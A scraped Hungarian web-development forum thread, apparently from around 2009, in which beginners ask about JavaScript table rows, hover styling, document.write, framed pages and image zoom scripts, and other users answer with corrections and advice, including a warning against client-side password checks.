Hirdetés

Új hozzászólás Aktív témák

  • fordfairlane
    veterán

    köszi

    van itt még egy kérdés

    amit így dinamikusan létrehozok , táblázatot, azt hogy tudom formálni?
    mert az egész táblázatot, tudom, de én olyat szeretnék, hogy 1-1 sort is tudjak?

    mert ugye javascripttel hozom létre, de csak a tartalmát tudom formázni, magát a sort meg a cellát nem
    illetve nem tudom, hogy hogy kéne

    mert a vella taartalmát azt tudom formázni de az édes kevés
    olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond

    ilyesmit szeretnék, csak a táblázat midnen sorára legyen érvényes--->
    a dinamikusan létrehozottakra is

    <html>
    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('menu').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="<a href='http://www.facebook.com'>xxx</br>";
    }
    </script>
    </head>

    <body>
    <table id="menu" border="1">
    <tr onmouseover="style.backgroundColor='#FFD700';" onmouseout="style.backgroundColor='#839CBF'">
    <td><a href="http://w3schools.com/js/js_statements.asp">yyy</a></td>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    <script type="text/javascript">
    function insRow() {
    var x=document.getElementById('menu').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="<a href='http://www.facebook.com'>xxx</br>";
    x.onmouseover = function () {this.style.backgroundColor='#FFD700';}
    x.onmouseout = function () {this.style.backgroundColor='#839CBF';}
    }
    </script>

  • cucka
    addikt

    "olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond"
    Ehhez minek Javascript? Bőven elég CSS is, ha a következőt beleteszed a head-be:
    <style type="text/css">
    table tr td:hover
    {
    background-color: yellow;
    }
    </style>

    Ezzel az egyetlen baj, hogy ie6 alatt nem működik.

    Legegyszerűbben ezt valahogy így lehet megoldani:
    css:
    tr td{ color: black; }
    tr.mouseover td{ color: red; }

    A css-ben beállítottam, hogy alapesetben a cellákban a szöveg fekete legyen, majd létrehoztam egy stílust piros szöveggel.

    html-ben pedig
    <table>
    <tr onmouseover="this.className='mouseover';" onmouseout="this.className='';">
    <td>adatok....
    ...
    </tr>
    ....
    </table>

    Ez azt eredményezi, hogy ha ráhúzod az egeret, az adott sorban a cellákban található szöveg piros lesz.

    (#1494) Sk8erPeter
    Igen, tudom, hogy nem te készítetted a honlapot, tehát értelemszerűen nem neked szólt a hozzászólás, hanem mindenkihez. Attól, mert kezdő valaki, még nem lesz elfogadható az igénytelenség.

  • shev7
    veterán

    "olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond"
    Ehhez minek Javascript? Bőven elég CSS is, ha a következőt beleteszed a head-be:
    <style type="text/css">
    table tr td:hover
    {
    background-color: yellow;
    }
    </style>

    ott a pont :D :D

  • Sk8erPeter
    nagyúr

    köszi

    van itt még egy kérdés

    amit így dinamikusan létrehozok , táblázatot, azt hogy tudom formálni?
    mert az egész táblázatot, tudom, de én olyat szeretnék, hogy 1-1 sort is tudjak?

    mert ugye javascripttel hozom létre, de csak a tartalmát tudom formázni, magát a sort meg a cellát nem
    illetve nem tudom, hogy hogy kéne

    mert a vella taartalmát azt tudom formázni de az édes kevés
    olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond

    ilyesmit szeretnék, csak a táblázat midnen sorára legyen érvényes--->
    a dinamikusan létrehozottakra is

    <html>
    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('menu').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="<a href='http://www.facebook.com'>xxx</br>";
    }
    </script>
    </head>

    <body>
    <table id="menu" border="1">
    <tr onmouseover="style.backgroundColor='#FFD700';" onmouseout="style.backgroundColor='#839CBF'">
    <td><a href="http://w3schools.com/js/js_statements.asp">yyy</a></td>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    "olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond"
    Ehhez minek Javascript? Bőven elég CSS is, ha a következőt beleteszed a head-be:
    <style type="text/css">
    table tr td:hover
    {
    background-color: yellow;
    }
    </style>

  • shev7
    veterán

    köszi

    van itt még egy kérdés

    amit így dinamikusan létrehozok , táblázatot, azt hogy tudom formálni?
    mert az egész táblázatot, tudom, de én olyat szeretnék, hogy 1-1 sort is tudjak?

    mert ugye javascripttel hozom létre, de csak a tartalmát tudom formázni, magát a sort meg a cellát nem
    illetve nem tudom, hogy hogy kéne

    mert a vella taartalmát azt tudom formázni de az édes kevés
    olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond

    ilyesmit szeretnék, csak a táblázat midnen sorára legyen érvényes--->
    a dinamikusan létrehozottakra is

    <html>
    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('menu').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="<a href='http://www.facebook.com'>xxx</br>";
    }
    </script>
    </head>

    <body>
    <table id="menu" border="1">
    <tr onmouseover="style.backgroundColor='#FFD700';" onmouseout="style.backgroundColor='#839CBF'">
    <td><a href="http://w3schools.com/js/js_statements.asp">yyy</a></td>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    hat mi lenne, ha az onmouseover property-t mar insertkor beallitanad a megfelelo ertekre.

    x.onmouseover = ...

  • ktg3
    őstag

    Még ki is emelted a különbséget.

    A document.write egy függvény, ami azt csinálja, hogy a dokumentum végére írja azt, amit paraméterként kap és nem tér vissza semmivel. (Tehát gyakorlatilag nevezhetjük eljárásnak is).
    y.innerHTML=document.write("xy")
    Ez a sor azt csinálja, hogy
    1. a dokumentum végére írja, hogy "xy"
    2. a document.write metódus nem tér vissza semmivel
    3. az y innerHTML tulajdonságát megpróbálod átírni a document.write visszatérési értékével. Ekkor a document.write visszatérési értéke automatikusan stringgé alakul, vagyis az értéke az lesz, hogy "undefined", ez kerül bele az y tartalmába.

    A második verziód azért működik jól, mert az a helyes megoldás.

    köszi

    van itt még egy kérdés

    amit így dinamikusan létrehozok , táblázatot, azt hogy tudom formálni?
    mert az egész táblázatot, tudom, de én olyat szeretnék, hogy 1-1 sort is tudjak?

    mert ugye javascripttel hozom létre, de csak a tartalmát tudom formázni, magát a sort meg a cellát nem
    illetve nem tudom, hogy hogy kéne

    mert a vella taartalmát azt tudom formázni de az édes kevés
    olyat szeretnék, hogyha a tábla sora fölé húzom az egeret akkor változzon a backgrond

    ilyesmit szeretnék, csak a táblázat midnen sorára legyen érvényes--->
    a dinamikusan létrehozottakra is

    <html>
    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('menu').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="<a href='http://www.facebook.com'>xxx</br>";
    }
    </script>
    </head>

    <body>
    <table id="menu" border="1">
    <tr onmouseover="style.backgroundColor='#FFD700';" onmouseout="style.backgroundColor='#839CBF'">
    <td><a href="http://w3schools.com/js/js_statements.asp">yyy</a></td>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

  • Sk8erPeter
    nagyúr

    Biztos nincs felesleges pénzük ilyesmire. Ne vedd el a kedvét, lehet, hogy most tanulja a honlapszerkesztést.
    Nem elvenni akarom a kedvét, hanem szólni, hogy rossz az irány.
    Olyan nehéz lett volna honlapkészítés előtt megnézni néhány weboldalt, hogy képben legyen, hogy kell 2009-ben kínéznie egy sitenak? Vagy elolvasni egy 1996-nál frissebb könyvet a honlapkészítésről? Az nem profizmus kérdése, hogy feltűnjön, hogy a frame-ek rosszul vannak beméretezve, a nyitóoldal funkció nélküli, a betűtípusuk rosszak? Hogy egyes linkek új ablakban nyílnak, egyesek meg nem, mindenféle rendszer nélkül? Hogy esetleg le lehet tölteni valahonnan egy 2 szintű menü scriptjét és akkor ki lehet dobni az összes olyan aloldalt, amelyen csak 2-3 link szerepel? Ezek mind olyan dolgok, amelyekkel böngészés közben nap mint nap találkozik mindenki, nem lehet esetleg megnézni, hogy mások hogyan csinálják?
    Lehet, hogy nem esik le egyből, de ez építő jellegű kritika. Igenis, ha valaki honlapot szeretne készíteni, az előbb nézzen meg más honlapokat, nézzen utána, hogyan kell ezt készíteni. Ez egy olyan elvárás, aminek teljesítéséhez nem kell kőprofinak lenni, csak egy kicsit igényesnek, hogy ha kiadsz a kezed közül valamit, akkor az a lehető legjobb legyen.

    Nyugi má', nem kell nekem esni, nem én csináltam azt a nyomorult honlapot... :D
    Egyetértek, de ne rám legyél már mérges. :DDD

  • fordfairlane
    veterán

    A linkelt script nem fog működni frame-es oldalon, sőt, nem is nagyon fogod úgy átalakítani, hogy működjön. Sőt, a frame-ek miatt valószínűleg semmilyen ehhez hasonló script sem fog működni. (És ez talán jól is van így, az ilyen hóesés effekt nagyon poénos lehetett 1996-ban, de 2009-ben nagyon gáz)

    Amúgy nem szeretnélek nagyon megbántani, de talán a munkahelyed jobban járna, ha rábízná egy szakemberre a weboldalának elkészítését.

    Egyetértek, a backgroundban animáló hópelyhek egyenlő az ízlésterrorral. Sokkal ízlésesebb magát az oldal színeit, a fejlécet színben igazítani az adott szezonhoz.

  • cucka
    addikt

    Amúgy az általad linkelt oldalon (jesszus, még a karakterkódolást sem tudták ott normálisan megoldani? :U manuálisan át kell állítani ISO-8859-2-re) innen szedték a scriptet: [link]. A dynamicdrive-on találsz hasznos scripteket.
    Egyetértek cucka-val, gagyin néz ki. :P Abban is, hogy a frame-ek használata ma már nagyon elavult és gány módszernek számít, inkább kezdd el tanulni a CSS-t: Weblabor, ha nagyjából megtanultad, máris nem lesz szükséged a frame-ekre. Egyébként a dynamicdrive-on még előre elkészített menüket is találsz.
    _____________________________

    (#1490) cucka: "a munkahelyed jobban járna, ha rábízná egy szakemberre" Biztos nincs felesleges pénzük ilyesmire. :B Ne vedd el a kedvét, lehet, hogy most tanulja a honlapszerkesztést. :)

    Biztos nincs felesleges pénzük ilyesmire. Ne vedd el a kedvét, lehet, hogy most tanulja a honlapszerkesztést.
    Nem elvenni akarom a kedvét, hanem szólni, hogy rossz az irány.
    Olyan nehéz lett volna honlapkészítés előtt megnézni néhány weboldalt, hogy képben legyen, hogy kell 2009-ben kínéznie egy sitenak? Vagy elolvasni egy 1996-nál frissebb könyvet a honlapkészítésről? Az nem profizmus kérdése, hogy feltűnjön, hogy a frame-ek rosszul vannak beméretezve, a nyitóoldal funkció nélküli, a betűtípusuk rosszak? Hogy egyes linkek új ablakban nyílnak, egyesek meg nem, mindenféle rendszer nélkül? Hogy esetleg le lehet tölteni valahonnan egy 2 szintű menü scriptjét és akkor ki lehet dobni az összes olyan aloldalt, amelyen csak 2-3 link szerepel? Ezek mind olyan dolgok, amelyekkel böngészés közben nap mint nap találkozik mindenki, nem lehet esetleg megnézni, hogy mások hogyan csinálják?
    Lehet, hogy nem esik le egyből, de ez építő jellegű kritika. Igenis, ha valaki honlapot szeretne készíteni, az előbb nézzen meg más honlapokat, nézzen utána, hogyan kell ezt készíteni. Ez egy olyan elvárás, aminek teljesítéséhez nem kell kőprofinak lenni, csak egy kicsit igényesnek, hogy ha kiadsz a kezed közül valamit, akkor az a lehető legjobb legyen.

  • Sk8erPeter
    nagyúr

    Szia

    Én csinálom a munkahelyem weboldalát, van egy hóesés effekt script amit szeretnék berakni decembertől, ezt szeretném megtudni hogyan tudom ugy berakni hogy midig látszódjon? kereteket is tartalmaz, a indexy fileba nem tudom berakni, mert valamiért nem működik, arra oldalra be tudom rakni aho a keretben van de igy minden oldalra be kéne rakni tud valaki segiteni? itt a weboldal: [link] és itt a script: [link]

    itt a weboldalnak az index file tartalma:
    <html>

    <head>
    <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1250">
    <title>Szabadság Sugárúti Általános Iskola</title>
    </head>

    <frameset cols="15%,*" framespacing="0" border="0" frameborder="0">
    <frame name="balalsó" noresize target="jobbalsó" src="menu.htm" scrolling="auto" style="padding:0; color:#008000; border-left-width:1px; border-right-style:ridge; border-right-width:1px; border-top-width:1px; border-bottom-style:ridge; border-bottom-width:1px" target="jobbalsó" marginheight="8">
    <frameset rows="16%,*">
    <frame name="jobbfelső" target="jobbalsó" src=fejlec.htm scrolling="yes" noresize marginwidth="0" marginheight="0" style="border-right-style: ridge; border-right-width: 2px; border-bottom-style: ridge; border-bottom-width: 2px">
    <frame name="jobbalsó" src=hirek.htm target="_blank" scrolling="yes" noresize style="padding-left:4px; padding-right:4px; padding-top:1px; padding-bottom:1px">
    </frameset>
    <noframes>

    <body style="background-image: url('sumtextb.jpg')">

    <p>Ez egy kereteket tartalmazó weblap, az Ön böngészője azonban az ilyen
    lapokat nem támogatja.</p>

    </body>
    </noframes>

    </frameset>

    </html>

    előre is thx :R

    Amúgy az általad linkelt oldalon (jesszus, még a karakterkódolást sem tudták ott normálisan megoldani? :U manuálisan át kell állítani ISO-8859-2-re) innen szedték a scriptet: [link]. A dynamicdrive-on találsz hasznos scripteket.
    Egyetértek cucka-val, gagyin néz ki. :P Abban is, hogy a frame-ek használata ma már nagyon elavult és gány módszernek számít, inkább kezdd el tanulni a CSS-t: Weblabor, ha nagyjából megtanultad, máris nem lesz szükséged a frame-ekre. Egyébként a dynamicdrive-on még előre elkészített menüket is találsz.
    _____________________________

    (#1490) cucka: "a munkahelyed jobban járna, ha rábízná egy szakemberre" Biztos nincs felesleges pénzük ilyesmire. :B Ne vedd el a kedvét, lehet, hogy most tanulja a honlapszerkesztést. :)

  • cucka
    addikt

    Szia

    Én csinálom a munkahelyem weboldalát, van egy hóesés effekt script amit szeretnék berakni decembertől, ezt szeretném megtudni hogyan tudom ugy berakni hogy midig látszódjon? kereteket is tartalmaz, a indexy fileba nem tudom berakni, mert valamiért nem működik, arra oldalra be tudom rakni aho a keretben van de igy minden oldalra be kéne rakni tud valaki segiteni? itt a weboldal: [link] és itt a script: [link]

    itt a weboldalnak az index file tartalma:
    <html>

    <head>
    <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1250">
    <title>Szabadság Sugárúti Általános Iskola</title>
    </head>

    <frameset cols="15%,*" framespacing="0" border="0" frameborder="0">
    <frame name="balalsó" noresize target="jobbalsó" src="menu.htm" scrolling="auto" style="padding:0; color:#008000; border-left-width:1px; border-right-style:ridge; border-right-width:1px; border-top-width:1px; border-bottom-style:ridge; border-bottom-width:1px" target="jobbalsó" marginheight="8">
    <frameset rows="16%,*">
    <frame name="jobbfelső" target="jobbalsó" src=fejlec.htm scrolling="yes" noresize marginwidth="0" marginheight="0" style="border-right-style: ridge; border-right-width: 2px; border-bottom-style: ridge; border-bottom-width: 2px">
    <frame name="jobbalsó" src=hirek.htm target="_blank" scrolling="yes" noresize style="padding-left:4px; padding-right:4px; padding-top:1px; padding-bottom:1px">
    </frameset>
    <noframes>

    <body style="background-image: url('sumtextb.jpg')">

    <p>Ez egy kereteket tartalmazó weblap, az Ön böngészője azonban az ilyen
    lapokat nem támogatja.</p>

    </body>
    </noframes>

    </frameset>

    </html>

    előre is thx :R

    A linkelt script nem fog működni frame-es oldalon, sőt, nem is nagyon fogod úgy átalakítani, hogy működjön. Sőt, a frame-ek miatt valószínűleg semmilyen ehhez hasonló script sem fog működni. (És ez talán jól is van így, az ilyen hóesés effekt nagyon poénos lehetett 1996-ban, de 2009-ben nagyon gáz)

    Amúgy nem szeretnélek nagyon megbántani, de talán a munkahelyed jobban járna, ha rábízná egy szakemberre a weboldalának elkészítését.

  • animatrix11
    őstag

    Szia

    Én csinálom a munkahelyem weboldalát, van egy hóesés effekt script amit szeretnék berakni decembertől, ezt szeretném megtudni hogyan tudom ugy berakni hogy midig látszódjon? kereteket is tartalmaz, a indexy fileba nem tudom berakni, mert valamiért nem működik, arra oldalra be tudom rakni aho a keretben van de igy minden oldalra be kéne rakni tud valaki segiteni? itt a weboldal: [link] és itt a script: [link]

    itt a weboldalnak az index file tartalma:
    <html>

    <head>
    <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1250">
    <title>Szabadság Sugárúti Általános Iskola</title>
    </head>

    <frameset cols="15%,*" framespacing="0" border="0" frameborder="0">
    <frame name="balalsó" noresize target="jobbalsó" src="menu.htm" scrolling="auto" style="padding:0; color:#008000; border-left-width:1px; border-right-style:ridge; border-right-width:1px; border-top-width:1px; border-bottom-style:ridge; border-bottom-width:1px" target="jobbalsó" marginheight="8">
    <frameset rows="16%,*">
    <frame name="jobbfelső" target="jobbalsó" src=fejlec.htm scrolling="yes" noresize marginwidth="0" marginheight="0" style="border-right-style: ridge; border-right-width: 2px; border-bottom-style: ridge; border-bottom-width: 2px">
    <frame name="jobbalsó" src=hirek.htm target="_blank" scrolling="yes" noresize style="padding-left:4px; padding-right:4px; padding-top:1px; padding-bottom:1px">
    </frameset>
    <noframes>

    <body style="background-image: url('sumtextb.jpg')">

    <p>Ez egy kereteket tartalmazó weblap, az Ön böngészője azonban az ilyen
    lapokat nem támogatja.</p>

    </body>
    </noframes>

    </frameset>

    </html>

    előre is thx :R

  • cucka
    addikt

    és még 1 gyors kérdés
    e között a 2 kód közt mi az a különbség ami miatt az egyik rendesen működik és a másik meg nem??

    1. nem működik

    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('myTable').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML=document.write("xy")
    }
    </script>
    </head>

    <body>
    <table id="myTable" border="0">
    <tr>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    2. simán jó

    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('myTable').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="xy"
    }
    </script>
    </head>

    <body>
    <table id="myTable" border="0">
    <tr>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    akkor az egész kód most így néz ki, de sem így sem a kikommentelt részekkel nem megy :(

    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
    <link rel="stylesheet" href="/css/menu.css" type="text/css" />
    <script language="JavaSript" type="text/javascript">
    pos=1;
    function mir(I, S) {
    if (I==top.amenu) f=" class='sel'"; else f="";

    if (0<I && I<1000)
    {
    var x=document.getElementById('menu').insertRow(0);;
    var y=x.insertCell(0);
    y.innerHTML="xy"//document.write("<a"+f+" href='oldal_11.htm?kod="+I+"' target='oldal'> &nbsp; &nbsp; "+S+"</a><br>");
    }
    else
    {
    var x=document.getElementById('menu').insertRow(0);;
    var y=x.insertCell(0);
    y.innerHTML="yx"//document.write("<a"+f+" href='oldal_11.htm?kod="+I+"' target='oldal'> &nbsp; &nbsp; &nbsp; &nbsp; "+S+"</a><br>");
    }
    }
    </script>
    </head>
    <body>
    <script language="javascript">
    mir('16','01. AKCIÓ');mir('20','02. terek');mir('22','03. megoldások');mir('18','04. kiegészítők');mir('21','05. chicks');mir('23','06. táp');mir('19','07. eszközök');mir('17','08. termékek');mir('14','09. tok-vonó');mir('15','10. többi');</script>
    <table id="menu" border="0">
    <tr>
    </tr>
    </table>
    <br />

    </body>
    </html>

    Még ki is emelted a különbséget.

    A document.write egy függvény, ami azt csinálja, hogy a dokumentum végére írja azt, amit paraméterként kap és nem tér vissza semmivel. (Tehát gyakorlatilag nevezhetjük eljárásnak is).
    y.innerHTML=document.write("xy")
    Ez a sor azt csinálja, hogy
    1. a dokumentum végére írja, hogy "xy"
    2. a document.write metódus nem tér vissza semmivel
    3. az y innerHTML tulajdonságát megpróbálod átírni a document.write visszatérési értékével. Ekkor a document.write visszatérési értéke automatikusan stringgé alakul, vagyis az értéke az lesz, hogy "undefined", ez kerül bele az y tartalmába.

    A második verziód azért működik jól, mert az a helyes megoldás.

  • ktg3
    őstag

    és még 1 gyors kérdés
    e között a 2 kód közt mi az a különbség ami miatt az egyik rendesen működik és a másik meg nem??

    1. nem működik

    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('myTable').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML=document.write("xy")
    }
    </script>
    </head>

    <body>
    <table id="myTable" border="0">
    <tr>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    2. simán jó

    <head>
    <script type="text/javascript">
    function insRow()
    {
    var x=document.getElementById('myTable').insertRow(0);
    var y=x.insertCell(0);
    y.innerHTML="xy"
    }
    </script>
    </head>

    <body>
    <table id="myTable" border="0">
    <tr>
    </tr>

    </table>
    <br />
    <input type="button" onclick="insRow()" value="Insert row">

    </body>
    </html>

    akkor az egész kód most így néz ki, de sem így sem a kikommentelt részekkel nem megy :(

    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
    <link rel="stylesheet" href="/css/menu.css" type="text/css" />
    <script language="JavaSript" type="text/javascript">
    pos=1;
    function mir(I, S) {
    if (I==top.amenu) f=" class='sel'"; else f="";

    if (0<I && I<1000)
    {
    var x=document.getElementById('menu').insertRow(0);;
    var y=x.insertCell(0);
    y.innerHTML="xy"//document.write("<a"+f+" href='oldal_11.htm?kod="+I+"' target='oldal'> &nbsp; &nbsp; "+S+"</a><br>");
    }
    else
    {
    var x=document.getElementById('menu').insertRow(0);;
    var y=x.insertCell(0);
    y.innerHTML="yx"//document.write("<a"+f+" href='oldal_11.htm?kod="+I+"' target='oldal'> &nbsp; &nbsp; &nbsp; &nbsp; "+S+"</a><br>");
    }
    }
    </script>
    </head>
    <body>
    <script language="javascript">
    mir('16','01. AKCIÓ');mir('20','02. terek');mir('22','03. megoldások');mir('18','04. kiegészítők');mir('21','05. chicks');mir('23','06. táp');mir('19','07. eszközök');mir('17','08. termékek');mir('14','09. tok-vonó');mir('15','10. többi');</script>
    <table id="menu" border="0">
    <tr>
    </tr>
    </table>
    <br />

    </body>
    </html>

  • ktg3
    őstag

    sziasztok

    kezdő vagyok nagyon.
    el tudná nekem mondani, hogy ezzel a kóddal mi nem stimmel??
    elvileg táblába akarom listázni a dolgokat, de ő nem akarja és nem tudom, hogy mi lehet a hiba

    <html>
    <head>
    <script language="JavaSript" type="text/javascript">
    pos=1;
    function mir(I, S) {
    if (I==top.amenu) f=" class='sel'"; else f="";
    //document.write("<a"+f+" href='oldal_11.htm?kod="+I+"' target='oldal'> &nbsp; &nbsp; "+S+"</a><br>");
    if (0<I && I<1000)
    {
    var x=document.getElementById('menu');
    var y=x.insertCell(0);
    y.innerHTML="document.write('<a'+f+' href=\"oldal_11.htm?kod='+I+'\" target=\"oldal\"> &nbsp; &nbsp; '+S+'</a><br>')";
    }
    else
    {
    var x=document.getElementById('menu');
    var y=x.insertCell(0);
    y.innerHTML="document.write('<a'+f+' href=\"oldal_11.htm?kod='+I+'\" target=\"oldal\"> &nbsp; &nbsp; &nbsp; &nbsp;'+S+'</a><br>')";
    }
    }
    </script>
    </head>
    <body>
    <script language="javascript">
    mir('16','01. AKCIÓ');mir('20','02. terek');mir('22','03. megoldások');mir('18','04. kiegészítők');mir('21','05. chicks');mir('23','06. táp');mir('19','07. eszközök');mir('17','08. termékek');mir('14','09. tok-vonó');mir('15','10. többi');</script>
    <table id="menu" border="0">
    <tr>
    </tr>
    </table>
    <br />

    </body>
    </html>

    sejtem, hogy mi lehet a baj, de nem tudom, hogy hogy kéne javítani :B

  • Sk8erPeter
    nagyúr

    Ez valami ilyesmi: [link]
    A 3. képen már egész szép a minősége. Nyilván az alapkép minőségétől függ, mennyire lesz szép a nagyított változat. :)

    Egyébként vicces, mert a Magic Zoom nálam Opera 9.64 alatt nem működik. :U (Chrome 4.0, IE8, FF3 alatt megy)
    Az utóbbi viszont igen! :K

  • Sk8erPeter
    nagyúr

    Sziasztok!

    Egy kép néző illetve nagyító scriptre lenne szükségem.
    Meg is találtam a tuti
    [link]
    A probléma ott van, hogy nincs kedvem érte 30 font-t adni.

    Tud valaki esetleg egy ingyeneset amit aztán szabadon fellehet használni? (akár egy cég weblapjára is)

    Előre is köszi! :)

    Ez valami ilyesmi: [link]
    A 3. képen már egész szép a minősége. Nyilván az alapkép minőségétől függ, mennyire lesz szép a nagyított változat. :)

  • Sziasztok!

    Egy kép néző illetve nagyító scriptre lenne szükségem.
    Meg is találtam a tuti
    [link]
    A probléma ott van, hogy nincs kedvem érte 30 font-t adni.

    Tud valaki esetleg egy ingyeneset amit aztán szabadon fellehet használni? (akár egy cég weblapjára is)

    Előre is köszi! :)

  • Porcupain
    aktív tag

    Kicsit pontosítva, ha jól működik, akkor a két tizedes jegyik kapok pontos eredményt, ha nem akkor egy kerek, és nem jó eredményt kapok.

  • Porcupain
    aktív tag

    Üdv!
    Az elképzelhető, hogy egy egyszerű matematikai műveletes scriptet, másként értelmez két op.rendszer?

    Otthon még jól működik, vista alatt, munkahelyi gépen pedig, már rosszul xp alatt. Ugyan az a böngésző típusa....

  • if ((document.forms[0].elements[0].value == a) && (document.forms[0].elements[1].value == b))

    azt ugye tudod, hogy ezt a modszert nem illik jogosultsag ellenorzesre hasznalni, hiszen a jelszo ott lesz az oldal forraskodjaban, amit az osszes felhasznalo lat
    azonkivul en inkabb a document.getElementById hasznalatat javaslom, egyreszt mert sokkal olvashatobb lesz a kod, masreszt mert nem fugg a formon beluli sorrendtol

    Köszi szépen a választ,használom a getElementById-t...

  • Gyuri16
    senior tag

    Hy!

    Van egy űrlap és az két mezőt tartalmaz,azt szeretném megoldani,hogy csak akkor linkeljen tovább a megadott címre,ha mindkét mezőbe írt karakter megfelel az általam megadott karaktereknek("User" és "Pass");

    {
    var a="User";
    var b="Pass";
    function check() {

    if (document.forms[0].elements[0].value == a) <------ide kéne még vmi sztem;
    (document.forms[0].elements[1].value == b)

    {
    setTimeout("location.href='file:///C:/Let%C3%B6lt%C3%A9sek/Prince/Prince.htm'",1000);

    }
    else
    {
    alert ("Hibás felhasználónév vagy jelszó!");
    }

    }
    }

    if ((document.forms[0].elements[0].value == a) && (document.forms[0].elements[1].value == b))

    azt ugye tudod, hogy ezt a modszert nem illik jogosultsag ellenorzesre hasznalni, hiszen a jelszo ott lesz az oldal forraskodjaban, amit az osszes felhasznalo lat
    azonkivul en inkabb a document.getElementById hasznalatat javaslom, egyreszt mert sokkal olvashatobb lesz a kod, masreszt mert nem fugg a formon beluli sorrendtol

  • Hy!

    Van egy űrlap és az két mezőt tartalmaz,azt szeretném megoldani,hogy csak akkor linkeljen tovább a megadott címre,ha mindkét mezőbe írt karakter megfelel az általam megadott karaktereknek("User" és "Pass");

    {
    var a="User";
    var b="Pass";
    function check() {

    if (document.forms[0].elements[0].value == a) <------ide kéne még vmi sztem;
    (document.forms[0].elements[1].value == b)

    {
    setTimeout("location.href='file:///C:/Let%C3%B6lt%C3%A9sek/Prince/Prince.htm'",1000);

    }
    else
    {
    alert ("Hibás felhasználónév vagy jelszó!");
    }

    }
    }

  • Sk8erPeter
    nagyúr

    Hello!

    A korábbi galéria-megjelenítős függvényemet kiegészítettem azzal, hogy paraméterként megadtam neki a megjelenítendő kép szélességét is. (Azért csak a szélességet, mert a magasság úgyis mindig fix.)

    Tehát a függvénydefiníció így kezdődik:

    function showPic (whichpic, hova, szelesseg)

    Aztán a "hova" elemnek (ami egy kép, img tag) így adtam meg a szélességet:

    document.getElementById(hova).width = szelesseg;

    Ez úgy tűnik, működik is, csak a forráskódban nem látszik, hogy átadta volna pl. a width="100" elemet.

    Hogy lehetne elérni, hogy konkrétan látsszon is az elemnél a forráskódban is width? (hogy valid legyen, átadható legyen a változó szélesség)

    A teljes függvény:

    function showPic (whichpic, hova, szelesseg) {
    if (document.getElementById) {

    //var kep_szelesseg = 200*(whichpic.width/whichpic.height);

    document.getElementById(hova).src = whichpic.href;
    document.getElementById(hova).width = szelesseg;
    if (whichpic.title) {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.title;
    } else {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
    }
    return false;
    } else {
    return true;
    }
    }

    Megköszönném, ha valaki most válaszolna... :F :R

    A "JavaScript in 24 Hours" könyvben ezt találtam:
    "Each image object has the following properties:
    [...]
    ■ height and width reflect the corresponding image attributes. This is for information only; you can't change an image's size dynamically."

    Magyarul akkor amivel próbálkozom, az egyébként sem lehetséges? :F

  • Sk8erPeter
    nagyúr

    Hello!

    A korábbi galéria-megjelenítős függvényemet kiegészítettem azzal, hogy paraméterként megadtam neki a megjelenítendő kép szélességét is. (Azért csak a szélességet, mert a magasság úgyis mindig fix.)

    Tehát a függvénydefiníció így kezdődik:

    function showPic (whichpic, hova, szelesseg)

    Aztán a "hova" elemnek (ami egy kép, img tag) így adtam meg a szélességet:

    document.getElementById(hova).width = szelesseg;

    Ez úgy tűnik, működik is, csak a forráskódban nem látszik, hogy átadta volna pl. a width="100" elemet.

    Hogy lehetne elérni, hogy konkrétan látsszon is az elemnél a forráskódban is width? (hogy valid legyen, átadható legyen a változó szélesség)

    A teljes függvény:

    function showPic (whichpic, hova, szelesseg) {
    if (document.getElementById) {

    //var kep_szelesseg = 200*(whichpic.width/whichpic.height);

    document.getElementById(hova).src = whichpic.href;
    document.getElementById(hova).width = szelesseg;
    if (whichpic.title) {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.title;
    } else {
    document.getElementById('desc').childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
    }
    return false;
    } else {
    return true;
    }
    }

    Megköszönném, ha valaki most válaszolna... :F :R

  • Sk8erPeter
    nagyúr

